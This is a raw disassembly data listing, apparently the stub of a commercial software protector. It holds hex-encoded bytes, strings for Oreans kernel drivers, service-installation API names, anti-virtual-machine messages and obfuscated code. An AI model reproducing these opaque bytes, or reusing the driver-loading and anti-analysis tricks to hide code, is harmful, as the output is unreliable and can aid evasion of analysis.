		dd 0C2070000h, 27A0FDA4h, 51BD8355h, 62A24h, 0BD830975h
		dd 62A2A89h, 50197400h,	0B8C08B53h, 40Fh, 1A018589h, 9D8D062Ah
		dd 62CBBD0h, 585BD3FFh,	2A89BD83h, 7400062Ah, 0B8535017h
		dd 40Fh, 1A018589h, 9D8D062Ah, 62CB871h, 585BD3FFh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 0E4C35141h, 0F02847A9h
		dd 0B19589D9h, 8B062A07h, 0AAE9C0h, 6F530000h, 61777466h
		dd 575C6572h, 694C6E69h, 736E6563h, 68430065h, 496B6365h
		dd 7058004Eh, 45746F72h, 746978h, 63656843h, 54554F6Bh
		dd 6E695700h, 6563694Ch, 5665736Eh, 69737265h, 57006E6Fh
		dd 694C6E69h, 736E6563h, 69724465h, 56726576h, 69737265h
		dd 57006E6Fh, 694C6E69h, 736E6563h, 736E4965h, 636E6174h
		dd 78450065h, 6B4F7469h, 6F725000h, 4E4963h, 636F7250h
		dd 54554Fh, 74697845h, 45004E49h, 4F746978h, 54005455h
		dd 4E4970h, 3 dup(0)
		dd 77DDAF7Fh, 77DD72F0h, 596E9h, 8C858900h, 8D062CB6h
		dd 2CB68885h, 858D5006h, 62CB5F2h, 16850h, 95FF8000h, 62CB698h
		dd 0B5FF196Ah, 62CB68Ch, 6A016Ah, 0B621858Dh, 0FF50062Ch
		dd 2CB688B5h, 0A595FF06h, 0FF062A2Ah, 2CB688B5h, 9495FF06h
		dd 0FF062CB6h, 2CB688B5h, 8595FF06h, 0C3062A21h, 0B68C8589h
		dd 858D062Ch, 62CB688h,	0F2858D50h, 50062CB5h, 168h, 9895FF80h
		dd 6A062CB6h, 8C858D04h, 50062CB6h, 6A046Ah, 0B64B858Dh
		dd 0FF50062Ch, 2CB688B5h, 0A595FF06h, 0FF062A2Ah, 2CB688B5h
		dd 9495FF06h, 0FF062CB6h, 2CB688B5h, 8595FF06h,	0C3062A21h
		dd 0B68C8589h, 858D062Ch, 62CB688h, 0F2858D50h,	50062CB5h
		dd 168h, 9895FF80h, 6A062CB6h, 8C858D04h, 50062CB6h, 6A046Ah
		dd 0B633858Dh, 0FF50062Ch, 2CB688B5h, 0A595FF06h, 0FF062A2Ah
		dd 2CB688B5h, 9495FF06h, 0FF062CB6h, 2CB688B5h,	8595FF06h
		dd 0C3062A21h, 0B68C8589h, 858D062Ch, 62CB688h,	0F2858D50h
		dd 50062CB5h, 168h, 9895FF80h, 6A062CB6h, 8C858D04h, 50062CB6h
		dd 6A046Ah, 0B65E858Dh,	0FF50062Ch, 2CB688B5h, 0A595FF06h
		dd 0FF062A2Ah, 2CB688B5h, 9495FF06h, 0FF062CB6h, 2CB688B5h
		dd 8595FF06h, 0C3062A21h, 0B68C8589h, 858D062Ch, 62CB688h
		dd 0F2858D50h, 50062CB5h, 168h,	9895FF80h, 6A062CB6h, 8C858D04h
		dd 50062CB6h, 6A046Ah, 0B60E858Dh, 0FF50062Ch, 2CB688B5h
		dd 0A595FF06h, 0FF062A2Ah, 2CB688B5h, 9495FF06h, 0FF062CB6h
		dd 2CB688B5h, 8595FF06h, 0C3062A21h, 0C79BD83h,	0F00062Ah
		dd 0B84h, 799D8B00h, 83062A0Ch,	3894CC3h, 79BD83C3h, 62A0Ch
		dd 0B840Fh, 9D8B0000h, 62A0C79h, 8950C383h, 0BD83C303h
		dd 62A0C79h, 0B840F00h,	8B000000h, 2A0C799Dh, 54C38306h
		dd 83C30389h, 2A0C79BDh, 840F0006h, 0Bh, 0C799D8Bh, 0C383062Ah
		dd 0C3038958h, 0C79BD83h, 0F00062Ah, 0B84h, 799D8B00h
		dd 83062A0Ch, 3895CC3h,	8960C3C3h, 2CB68C85h, 88858D06h
		dd 50062CB6h, 0B5F2858Dh, 6850062Ch, 80000001h,	0B69895FFh
		dd 46A062Ch, 0B68C858Dh, 6A50062Ch, 8D006A04h, 2CB68385h
		dd 0B5FF5006h, 62CB688h, 2AA595FFh, 0BD83062Ah,	62A2451h
		dd 0C840F00h, 0FF000000h, 2CB688B5h, 9495FF06h,	0FF062CB6h
		dd 2CB688B5h, 8595FF06h, 61062A21h, 858960C3h, 62CB68Ch
		dd 0B688858Dh, 8D50062Ch, 2CB5F285h, 1685006h, 0FF800000h
		dd 2CB69895h, 8D046A06h, 2CB68C85h, 46A5006h, 858D006Ah
		dd 62CB665h, 88B5FF50h,	0FF062CB6h, 2A2AA595h, 51BD8306h
		dd 62A24h, 0C840Fh, 0B5FF0000h,	62CB688h, 0B69495FFh, 0B5FF062Ch
		dd 62CB688h, 218595FFh,	0C361062Ah, 8C858960h, 8D062CB6h
		dd 2CB68885h, 858D5006h, 62CB5F2h, 16850h, 95FF8000h, 62CB698h
		dd 858D046Ah, 62CB68Ch,	6A046A50h, 6C858D00h, 50062CB6h
		dd 0B688B5FFh, 95FF062Ch, 62A2AA5h, 2451BD83h, 0F00062Ah
		dd 0C84h, 88B5FF00h, 0FF062CB6h, 2CB69495h, 88B5FF06h
		dd 0FF062CB6h, 2A218595h, 60C36106h, 0B68C8589h, 858D062Ch
		dd 62CB688h, 0F2858D50h, 50062CB5h, 168h, 9895FF80h, 6A062CB6h
		dd 8C858D04h, 50062CB6h, 6A046Ah, 0B674858Dh, 0FF50062Ch
		dd 2CB688B5h, 0A595FF06h, 83062A2Ah, 2A2451BDh,	840F0006h
		dd 0Ch,	0B688B5FFh, 95FF062Ch, 62CB694h, 0B688B5FFh, 95FF062Ch
		dd 62A2185h, 8960C361h,	2CB68C85h, 88858D06h, 50062CB6h
		dd 0B5F2858Dh, 6850062Ch, 80000001h, 0B69895FFh, 46A062Ch
		dd 0B68C858Dh, 6A50062Ch, 8D006A04h, 2CB67B85h,	0B5FF5006h
		dd 62CB688h, 2AA595FFh,	0BD83062Ah, 62A2451h, 0C840F00h
		dd 0FF000000h, 2CB688B5h, 9495FF06h, 0FF062CB6h, 2CB688B5h
		dd 8595FF06h, 61062A21h, 85C760C3h, 62CB68Ch, 1, 0B688858Dh
		dd 8D50062Ch, 2CB5F285h, 2685006h, 0FF800000h, 2CB69895h
		dd 0FC00B06h, 0F84h, 8C85C700h,	62CB6h,	0E9000000h, 4Dh
		dd 858D046Ah, 62CB68Ch,	6A046A50h, 6858D00h, 50062CB6h
		dd 0B688B5FFh, 95FF062Ch, 62A2AA5h, 840FC00Bh, 0Fh, 0B68C85C7h
		dd 62Ch, 0AE90000h, 0C7000000h,	2CB68C85h, 106h, 88B5FF00h
		dd 0FF062CB6h, 2A218595h, 858B6106h, 62CB68Ch, 858960C3h
		dd 62CB68Ch, 0B688858Dh, 8D50062Ch, 2CB5F285h, 1685006h
		dd 0FF800000h, 2CB69895h, 8D046A06h, 2CB68C85h,	46A5006h
		dd 858D006Ah, 62CB606h,	88B5FF50h, 0FF062CB6h, 2A2AA595h
		dd 51BD8306h, 62A24h, 0C840Fh, 0B5FF0000h, 62CB688h, 0B69495FFh
		dd 0B5FF062Ch, 62CB688h, 218595FFh, 0C361062Ah,	8C858960h
		dd 8D062CB6h, 2CB68885h, 858D5006h, 62CB5F2h, 16850h, 95FF8000h
		dd 62CB698h, 858D046Ah,	62CB68Ch, 6A046A50h, 18858D00h
		dd 50062CB6h, 0B688B5FFh, 95FF062Ch, 62A2AA5h, 2451BD83h
		dd 0F00062Ah, 0C84h, 88B5FF00h,	0FF062CB6h, 2CB69495h
		dd 88B5FF06h, 0FF062CB6h, 2A218595h, 0C6C36106h, 2A27C985h
		dd 7685206h, 0FFADE47Bh, 2A1295B5h, 0F595FF06h,	89062A06h
		dd 2CB69885h, 0C985C606h, 52062A27h, 2E00E568h,	95B5FF90h
		dd 0FF062A12h, 2A06F595h, 94858906h, 0C6062CB6h, 2A27C985h
		dd 35685206h, 0FFB9BF12h, 2A1295B5h, 0F595FF06h, 89062A06h
		dd 2A2AA585h, 0C985C606h, 52062A27h, 78103468h,	95B5FF98h
		dd 0FF062A12h, 2A06F595h, 85858906h, 0C6062A21h, 2A27C985h
		dd 0D4685206h, 0FFC005DBh, 2A1295B5h, 0F595FF06h, 89062A06h
		dd 2A09D585h, 99E906h, 622F0000h, 68636775h, 326B6365h
		dd 75622F00h, 65686367h, 2F006B63h, 63726F66h, 6E757265h
		dd 75622F00h, 65686367h, 75666B63h, 2F006C6Ch, 776F6873h
		dd 65646F63h, 68732F00h, 6F63776Fh, 326564h, 726C632Fh
		dd 642F0074h, 317369h, 6F68732Fh, 736E6977h, 636E6174h
		dd 672F0065h, 6C777465h, 74617473h, 2F007375h, 73676F6Ch
		dd 75746174h, 642F0073h, 73706D75h, 75746174h, 73h, 632F0000h
		dd 6B636568h, 746F7270h, 69746365h, 6E6Fh, 83000000h, 2CBD52BDh
		dd 840F0006h, 0Ah, 2A8985C7h, 1062Ah, 85C60000h, 62A27C9h
		dd 0DBBD6847h, 3481F00Eh, 63B73024h, 1DB5FF60h,	8D062A23h
		dd 2A3BBF85h, 0FFD0FF06h, 80F88BD0h, 850F223Fh,	22h, 0AE22B047h
		dd 0FFF9850Fh, 3F80FFFFh, 1B840F00h, 47000003h,	0F003F80h
		dd 31184h, 1EE900h, 3F800000h, 3840F00h, 80000003h, 850F203Fh
		dd 6, 6E947h, 0E9470000h, 0FFFFFFE2h, 0F003F80h, 585h
		dd 2E0E900h, 1E90000h, 47000000h, 0F203F80h, 0FFFFF684h
		dd 3F80FFh, 5850Fh, 0C3E90000h,	0E8000002h, 0Ah, 0FFFFCBE9h
		dd 2B4E9FFh, 0B58D0000h, 62CBCD2h, 225E8h, 67BD0300h, 83062CBDh
		dd 2CBD67BDh, 840F0006h, 0Bh, 245185C7h, 1062Ah, 8DC30000h
		dd 2CBCDDB5h, 1FCE806h,	0BD030000h, 62CBD67h, 0BD67BD83h
		dd 0F00062Ch, 0B84h, 8985C700h,	1062A2Ah, 0C3000000h, 0BD56B58Dh
		dd 0D3E8062Ch, 3000001h, 2CBD67BDh, 67BD8306h, 62CBDh
		dd 0B840Fh, 85C70000h, 62A2B31h, 1, 0E7B58DC3h,	0E8062CBCh
		dd 1AAh, 0BD67BD03h, 0BD83062Ch, 62CBD67h, 0B840F00h, 0C7000000h
		dd 2A2A8985h, 106h, 0B58DC300h,	62CBCF1h, 181E8h, 67BD0300h
		dd 83062CBDh, 2CBD67BDh, 840F0006h, 15h, 2A8985C7h, 1062Ah
		dd 85C70000h, 62A2451h,	1, 0FFB58DC3h, 0E8062CBCh, 14Eh
		dd 0BD67BD03h, 0BD83062Ch, 62CBD67h, 0A840F00h,	0C7000000h
		dd 2A276985h, 106h, 9B58D00h, 0E8062CBDh, 126h,	0BD67BD03h
		dd 0BD83062Ch, 62CBD67h, 0A840F00h, 0C7000000h,	2A276985h
		dd 106h, 14B58D00h, 0E8062CBDh,	0FEh, 0BD67BD03h, 0BD83062Ch
		dd 62CBD67h, 0A840F00h,	0C7000000h, 2A2BA985h, 106h, 1AB58D00h
		dd 0E8062CBDh, 0D6h, 0BD67BD03h, 0BD83062Ch, 62CBD67h
		dd 0A840F00h, 0C7000000h, 2A2AF985h, 106h, 20B58D00h, 0E8062CBDh
		dd 0AEh, 0BD67BD03h, 0BD83062Ch, 62CBD67h, 0A840F00h, 0C7000000h
		dd 2A085185h, 106h, 2EB58D00h, 0E8062CBDh, 86h,	0BD67BD03h
		dd 0BD83062Ch, 62CBD67h, 0A840F00h, 0C7000000h,	2A088185h
		dd 106h, 3BB58D00h, 0E8062CBDh,	5Eh, 0BD67BD03h, 0BD83062Ch
		dd 62CBD67h, 0A840F00h,	0C7000000h, 2A170D85h, 106h, 46B58D00h
		dd 0E8062CBDh, 36h, 0BD67BD03h,	0BD83062Ch, 62CBD67h, 0A840F00h
		dd 0C7000000h, 2A0CFD85h, 106h,	1E900h,	80470000h, 840F203Fh
		dd 9, 0F003F80h, 0FFFFED85h, 0B960C3FFh, 1, 1CE9DE8Bh
		dd 80000000h, 850F003Fh, 2, 178AC92Bh, 840F1638h, 5, 0B9h
		dd 80474600h, 840F003Eh, 8, 850FC90Bh, 0FFFFFFD3h, 840FC90Bh
		dd 21h,	0F003F80h, 984h, 203F8000h, 0A850Fh, 1B90000h
		dd 0E9000000h, 5, 0B9h,	0FC90B00h, 0D84h, 89F32B00h, 2CBD67B5h
		dd 0AE906h, 85C70000h, 62CBD67h, 0
		dd 0B8C361h, 0B000000h,	0A840FC0h, 0C7000000h, 2A276985h
		dd 6, 0E9C88B00h, 20Eh,	6E614333h, 20746F6Eh, 74697277h
		dd 726F2065h, 736E6165h, 6478762Eh, 614D0D0Ah, 7320656Bh
		dd 20657275h, 74616874h, 69687420h, 69662073h, 6920656Ch
		dd 6F6E2073h, 65622074h, 20676E69h, 64657375h, 20796220h
		dd 746F6E61h, 20726568h, 676F7270h, 2E6D6172h, 68h dup(0)
aOreans_vxd	db '\Oreans.vxd',0
		dd 2 dup(0)
		dd 0EFE90000h, 0C6000000h, 2A27C985h, 86684706h, 0FFE3E45Bh
		dd 2A231DB5h, 0BF858D06h, 0FF062A3Bh, 10468D0h,	9D8D0000h
		dd 62A0399h, 50D0FF53h,	0C2F4B58Dh, 0FE8B062Ch,	0FAEC032h
		dd 0FFFFF985h, 8BFE2BFFh, 0FB8B58CFh, 0A4F3F803h, 27C985C6h
		dd 6843062Ah, 0BC8E6EFCh, 231DB5FFh, 858D062Ah,	62A3BBFh
		dd 0B58DD0FFh, 62A0399h, 8068006Ah, 6A000000h, 6A006A02h
		dd 6800h, 0FF56C000h, 0C6D88BD0h, 2A27C985h, 56685706h
		dd 0FFA69BEEh, 2A231DB5h, 0BF858D06h, 0FF062A3Bh, 95BD8DD0h
		dd 8D062A07h, 2CC41A8Dh, 57006A06h, 37D068h, 0FF535100h
		dd 0FC085D0h, 1B85h, 0FCB58D00h, 8D062CC0h, 2CAD6C85h
		dd 8DD0FF06h, 2A70668Dh, 0B806h, 0E1FF0000h, 27C985C6h
		dd 6843062Ah, 0C0764AA7h, 231DB5FFh, 858D062Ah,	62A3BBFh
		dd 0FF53D0FFh, 0D0B9C3D0h, 0E8000037h, 0
		dd 0EC08358h, 2E90889h,	8B000000h, 37D0E9C3h, 5A4D0000h
		dd 30090h, 40000h, 0FFFF0000h, 0B80000h, 0
		dd 400000h, 8 dup(0)
		dd 0B00000h, 1F0E0000h,	0B4000EBAh, 0B821CD09h,	21CD4C01h
		dd 73696854h, 6F727020h, 6D617267h, 6E616320h, 20746F6Eh
		dd 72206562h, 69206E75h, 4F44206Eh, 6F6D2053h, 0D2E6564h
		dd 240A0Dh, 0
		dd 175D0000h, 7619DB1Dh, 2 dup(76198873h), 56E58873h, 76188861h
		dd 76198873h, 76188873h, 69528873h, 76196863h, 8873h, 0
		dd 454C0000h, 0
		dd 20000h, 4, 80000000h, 140003h, 4 dup(0)
		dd 2000000h, 1C00000h, 900000h,	0
		dd 7E0000h, 0
		dd 0C40000h, 10000h, 0DC0000h, 3 dup(0)
		dd 12C0000h, 1380000h, 2 dup(0)
		dd 1420000h, 1960000h, 1D20000h, 0
		dd 1D20000h, 0
		dd 10000000h, 140000h, 37C00000h, 100000h, 0Dh dup(0)
		dd 27C00400h, 0
		dd 20450000h, 10000h, 140000h, 434C0000h, 444Fh, 1, 2
		dd 3, 4, 5, 6, 7, 8, 9,	0Ah, 0Bh, 0Ch, 0Dh, 0Eh, 0Fh, 10h
		dd 11h,	12h, 13h, 58080014h, 544F5250h,	445856h, 3010000h
		dd 30001h, 2 dup(0)
		dd 13h dup(7), 3Ch, 180007h, 7276001h, 101AD00h, 70050h
		dd 9B010191h, 6002727h,	79276F01h, 81017D01h, 89018501h
		dd 7018D01h, 1017500h, 72795h, 98010171h, 6B000727h, 27710101h
		dd 360h	dup(0)
		dd 4000000h, 10000h, 50580000h,	56544F52h, 4458h, 8000h
		dd 8 dup(0)
		dd 65760000h, 505072h, 76310000h, 76325273h, 76335273h
		dd 5273h, 9C3h dup(0)
		dd 0E8830000h, 9F8831Bh, 24FF0773h, 85h, 0C3F800h, 8 dup(0)
		dd 33000000h, 0C033C3C0h, 0C7E83C3h, 33047500h,	831AEBC0h
		dd 75010C7Eh, 58D14h, 8B000000h, 789187Eh, 42046C7h, 33000000h
		dd 580CC3C0h, 544F5250h, 5F445856h, 424444h, 6E80000h
		dd 0FD000000h, 7D23A6FBh, 198A0FC3h, 0E8000000h, 0Dh, 91CC7649h
		dd 0DBC82AF6h, 5606D636h, 3BEB8187h, 58227C99h,	81CBB35Ah
		dd 6B85C2h, 0CE900h, 4C90000h, 1A93C9FCh, 65E03379h, 0B9B899h
		dd 8B000000h, 0BD890A34h, 62A28C9h, 0A15EF681h,	8D29035Fh
		dd 62A26A5h, 3BA8EE81h,	9E91DDAh, 0E5000000h, 0D2987D16h
		dd 67C5BB79h, 7243C681h, 85895582h, 62A0515h, 359D8956h
		dd 8F062A1Ah, 0BB660A04h, 0EE8FD17h, 9B000000h,	0A6625279h
		dd 68728E4h, 60FAAEB5h,	7E893h,	0BB6F0000h, 5DDDB6A3h
		dd 71DF8161h, 5B2C8A21h, 2E98358h, 4949C68Bh, 13E9h, 0A070BB00h
		dd 4312F810h, 0B688205Ah, 53093624h, 0FCA02CBDh, 9588F981h
		dd 850FFFFFh, 11h, 17299D8Bh, 2DE9062Ah, 37000000h, 0AB63ED96h
		dd 13E93Dh, 0AE820000h,	5CB4ADC9h, 8170C29Bh, 72AD47D4h
		dd 12264681h, 0FF3DE9D1h, 0E885FFFFh, 89A0BF08h, 1B5B0AE7h
		dd 10B7E9h, 56444100h, 33495041h, 4C442E32h, 704F004Ch
		dd 43536E65h, 616E614Dh, 41726567h, 65724300h, 53657461h
		dd 69767265h, 416563h, 72617453h, 72655374h, 65636976h
		dd 65470041h, 74614E74h, 53657669h, 65747379h, 666E496Dh
		dd 704F006Fh, 65536E65h, 63697672h, 44004165h, 74656C65h
		dd 72655365h, 65636976h, 6F6C4300h, 65536573h, 63697672h
		dd 6E614865h, 656C64h, 746E6F43h, 536C6F72h, 69767265h
		dd 6563h, 7 dup(0)
		dd 6F000000h, 6E616572h, 2E323373h, 737973h, 2 dup(0)
aOreansx64_sys	db 'oreansx64.sys',0
		align 4
		dd 0
		dd 726F0000h, 736E6165h, 5C003233h, 6F5C2E5Ch, 6E616572h
		dd 323373h, 5C2E5C5Ch, 626F6C47h, 6F5C6C61h, 6E616572h
		dd 323373h, 6165726Fh, 3678736Eh, 5C5C0034h, 6C475C2Eh
		dd 6C61626Fh, 65726F5Ch, 78736E61h, 3436h, 41h dup(0)
		dd 53000000h, 45545359h, 4F4F524Dh, 73250054h, 7379735Ch
		dd 336D6574h, 72645C32h, 72657669h, 73255C73h, 5C732500h
		dd 77737973h, 3436776Fh, 6972645Ch, 73726576h, 73255Ch
		dd 735C7325h, 65747379h, 5C32336Dh, 76697264h, 5C737265h
		dd 6165726Fh, 3233736Eh, 7379732Eh, 49h	dup(0)
		dd 61433300h, 746F6E6Eh, 64705520h, 20657461h, 6165726Fh
		dd 732E736Eh, 64207379h, 65766972h, 50202E72h, 7361656Ch
		dd 6D202C65h, 20656B61h, 65727573h, 61687420h, 6F792074h
		dd 61682075h, 0D0A6576h, 696D6461h, 7473696Eh, 6F746172h
		dd 20732772h, 6D726570h, 20737469h, 20656874h, 73726966h
		dd 69742074h, 7420656Dh, 20746168h, 20756F79h, 20657261h
		dd 6E696F67h, 6F742067h, 6E757220h, 69687420h, 72702073h
		dd 6172676Fh, 2E6Dh, 59h dup(0)
		dd 61433300h, 746F6E6Eh, 65706F20h, 726F206Eh, 736E6165h
		dd 6478762Eh, 69726420h, 2E726576h, 6B614D20h, 75732065h
		dd 74206572h, 20746168h, 6165726Fh, 762E736Eh, 0D0A6478h
		dd 6E207369h, 6F20746Fh, 206E6570h, 61207962h, 68746F6Eh
		dd 70207265h, 72676F72h, 2E6D61h, 67h dup(0)
		dd 65533300h, 65727563h, 69676E45h, 6420656Eh, 65766972h
		dd 61632072h, 746F6E6Eh, 20656220h, 61647075h, 20646574h
		dd 61636562h, 20657375h, 72656874h, 72612065h, 6F732065h
		dd 7020656Dh, 72676F72h, 20736D61h, 6E697375h, 690D0A67h
		dd 59202E74h, 6E20756Fh, 20646565h, 63206F74h, 65736F6Ch
		dd 6F687420h, 70206573h, 72676F72h, 20736D61h, 7220726Fh
		dd 61747365h, 79207472h, 2072756Fh, 706D6F63h, 72657475h
		dd 520D0A2Eh, 61747365h, 6E207472h, 3F776Fh, 0D9h dup(0)
		dd 2E5C5C00h, 65724F5Ch, 2E736E61h, 647876h, 2 dup(0)
		dd 73250000h, 65724F5Ch, 2E736E61h, 647876h, 2 dup(0)
		dd 70580000h, 45746F72h, 746E6576h, 0Bh	dup(0)
		dd 53655300h, 64747568h, 506E776Fh, 69766972h, 6567656Ch
		dd 0
		dd 65724300h, 45657461h, 746E6576h, 49504120h, 72724520h
		dd 7720726Fh, 656C6968h, 74786520h, 74636172h, 206E6F69h
		dd 20656874h, 76697264h, 47007265h, 6E457465h, 6F726976h
		dd 6E656D6Eh, 72615674h, 6C626169h, 50412065h, 72452049h
		dd 20726F72h, 6C696877h, 78652065h, 63617274h, 6E6F6974h
		dd 65687420h, 69726420h, 726576h, 6E65704Fh, 614D4353h
		dd 6567616Eh, 50412072h, 72452049h, 20726F72h, 6C696877h
		dd 78652065h, 63617274h, 6E6F6974h, 65687420h, 69726420h
		dd 726576h, 61657243h, 65536574h, 63697672h, 50412065h
		dd 72452049h, 20726F72h, 6C696877h, 78652065h, 63617274h
		dd 6E6F6974h, 65687420h, 69726420h, 726576h, 736F6C43h
		dd 72655365h, 65636976h, 646E6148h, 4120656Ch, 45204950h
		dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h
		dd 6874206Eh, 72642065h, 72657669h, 65704F00h, 7265536Eh
		dd 65636976h, 49504120h, 72724520h, 7720726Fh, 656C6968h
		dd 74786520h, 74636172h, 206E6F69h, 20656874h, 76697264h
		dd 53007265h, 74726174h, 76726553h, 20656369h, 20495041h
		dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h
		dd 74206E6Fh, 64206568h, 65766972h, 50410072h, 65204349h
		dd 726F7272h, 6143203Ah, 746F6E6Eh, 6E696620h, 72502064h
		dd 7365636Fh, 73726F73h, 6E6F4320h, 6C6F7274h, 6F6C4220h
		dd 2E736B63h, 656C5020h, 2C657361h, 6F630D0Ah, 6361746Eh
		dd 6E692074h, 6F406F66h, 6E616572h, 6F632E73h, 6F66206Dh
		dd 68742072h, 65207369h, 726F7272h, 0
		dd 10400h, 6F533300h, 2C797272h, 69687420h, 70612073h
		dd 63696C70h, 6F697461h, 6163206Eh, 746F6E6Eh, 6E757220h
		dd 646E7520h, 61207265h, 72695620h, 6C617574h, 63614D20h
		dd 656E6968h, 70h dup(0)
		dd 100000h, 1000000h, 0FEFFFF00h, 17Fh,	100h, 24A00h, 1000000h
		dd 8000F00h, 940004h, 50000h, 10000h, 0A280000h, 20000h
		dd 21h dup(0)
		dd 6F530000h, 61777466h, 575C6572h, 656E69h, 9531C48Bh
		dd 62A1815h, 6AD95BAh, 8985896Eh, 8B062A0Dh, 2A2C25BDh
		dd 8BFE8B06h, 51BD83C0h, 62A24h, 0BD830975h, 62A2A89h
		dd 50197400h, 0B8C08B53h, 43Dh,	27898589h, 9D8D062Ah, 62CBB69h
		dd 585BD3FFh, 2A89BD83h, 7400062Ah, 0B8535017h,	43Dh, 27898589h
		dd 9D8D062Ah, 62CB858h,	585BD3FFh, 0A11958Bh, 6A062Ah
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 0A5CE12C3h, 6DCA2BC0h, 0B13D989Eh, 89C08BF2h, 2A0C5D9Dh
		dd 80C08B06h, 0BD8398EDh, 62A2451h, 83097500h, 2A2A89BDh
		dd 13740006h, 0C08B5350h, 0B8h,	0B9D8D00h, 0FF062CBAh
		dd 83585BD3h, 2A2A89BDh, 11740006h, 0B85350h, 8D000000h
		dd 2CB8BC9Dh, 5BD3FF06h, 0E830F58h, 60000000h, 0C549CA81h
		dd 8C0F7AA7h, 0
		dd 8E861h, 684B0000h, 0DAAB4ACFh, 0D2809FF7h, 0C08B5AD6h
		dd 0EE9h, 4C049900h, 0D2E2F1EDh, 50777C2Bh, 8BEE4810h
		dd 53006AC0h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1404h
		dd 0C3534300h, 0E9BD8B2Ah, 83062A19h, 2A2451BDh, 9750006h
		dd 2A89BD83h, 7400062Ah, 8B535013h, 0B8C0h, 9D8D0000h
		dd 62CB93Dh, 585BD3FFh,	2A89BD83h, 7400062Ah, 0B8535011h
		dd 0
		dd 0B88A9D8Dh, 0D3FF062Ch, 958B585Bh, 62A1871h,	0DEEF8166h
		dd 81665706h, 5A2D84E1h, 6AC08Bh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1C0424h, 51410000h, 51458FC3h, 0E692C404h
		dd 0BD0112F3h, 62A2855h, 0BD83C08Bh, 62A2451h, 83097500h
		dd 2A2A89BDh, 13740006h, 0C08B5350h, 0B8h, 0A49D8D00h
		dd 0FF062CB9h, 83585BD3h, 2A2A89BDh, 11740006h,	0B85350h
		dd 8D000000h, 2CB8A39Dh, 5BD3FF06h, 55006A58h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 3023EB6Ah
		dd 9D09F5B1h, 62A0E8Dh,	62D9589h, 8C0F062Ah, 6,	0F058D8Bh
		dd 0C08B062Ah, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Ah,	13C35545h, 13389AC3h, 0F1813505h, 0E42D056h, 0BD83C08Bh
		dd 62A2451h, 83097500h,	2A2A89BDh, 13740006h, 0C08B5350h
		dd 0B8h, 0D69D8D00h, 0FF062CB8h, 23585BD3h, 2A2C69BDh
		dd 0D810F06h, 0E9000000h, 8, 236B1089h,	643C63B0h, 6AC08Bh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 0F50195C3h, 40FEBA66h, 3820Fh, 8B660000h, 0E8C08BC8h
		dd 0Eh,	565F9860h, 12C9BD1Eh, 0FF9BD78Ah, 950B7475h, 62A0751h
		dd 0CE8B6659h, 2451BD83h, 7500062Ah, 89BD8309h,	62A2Ah
		dd 53501974h, 0D0B8C08Bh, 89000007h, 2A278985h,	699D8D06h
		dd 0FF062CBBh, 83585BD3h, 2A2A89BDh, 17740006h,	0D0B85350h
		dd 89000007h, 2A278985h, 589D8D06h, 0FF062CB8h,	6A585BD3h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 14042444h
		dd 46000000h, 8BFFC356h, 2A0A11BDh, 418D8906h, 8B062A16h
		dd 50006AC0h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1604h
		dd 0C3504000h, 6069006Dh, 20E720B9h, 0D88B663Fh, 0C985C661h
		dd 53062A27h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 17h,	9BC35242h, 0BFC8AAE1h, 3C3F37D7h, 26CD958Bh, 9068062Ah
		dd 8B99395Fh, 2A2B1995h, 1DB5FF06h, 81062A23h, 5D3169CAh
		dd 0BF858D00h, 0F062A3Bh, 68Dh,	2D9D8900h, 0FF062A1Ah
		dd 6840FD0h, 89000000h,	2A2225B5h, 0C1858906h, 89062A05h
		dd 2A083D8Dh, 9D8B6006h, 62A0B49h, 2B94B966h, 0C985C661h
		dd 57062A27h, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 14h,	0B6C35343h, 4520668h, 53006A90h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 54A36114h
		dd 1DB5FFDFh, 6A062A23h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 0C4DBC352h,	0BF858DFBh
		dd 6A062A3Bh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 14042444h, 47000000h, 0FF25C357h, 0D18166D0h, 8589B369h
		dd 62A238Dh, 2880Fh, 10B20000h,	27C985C6h, 6A43062Ah, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 1F69C353h, 0DE8E019h, 67000000h, 138C91A2h, 0B95CB2B9h
		dd 99B80E75h, 59D3B70Fh, 90702868h, 0B70F60BCh,	74BE66CAh
		dd 0B5FF6149h, 62A231Dh, 8DCB8B66h, 2A3BBF85h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1804h, 0C3564600h
		dd 0D7A6275Bh, 0B18D8BE7h, 0FF062A18h, 55BD8BD0h, 89062A16h
		dd 2A126185h, 85C6F806h, 62A27C9h, 9985894Ch, 68062A00h
		dd 0D9DA1CE9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ch,	6FC35141h, 0D43CB33Fh, 0C110FF90h, 0DF81A9B6h
		dd 7E26DBA0h, 231DB5FFh, 8531062Ah, 62A2149h, 3BBF858Dh
		dd 958B062Ah, 62A1391h,	0AE8D0FFh, 8000000h, 87F21A02h
		dd 9690F530h, 18D98100h, 5A303D14h, 16E98589h, 0EF8A062Ah
		dd 27C985C6h, 6646062Ah, 826BE781h, 0DE061468h,	0FD958BBAh
		dd 0FF062A0Dh, 2A231DB5h, 3CB96606h, 0BF858DBBh, 6A062A3Bh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 14042444h
		dd 46000000h, 66BCC356h, 0C81AF181h, 8589D0FFh,	62A0F89h
		dd 46E98166h, 0C985C664h, 47062A27h, 0FB5E268h,	1DB5FF8Ah
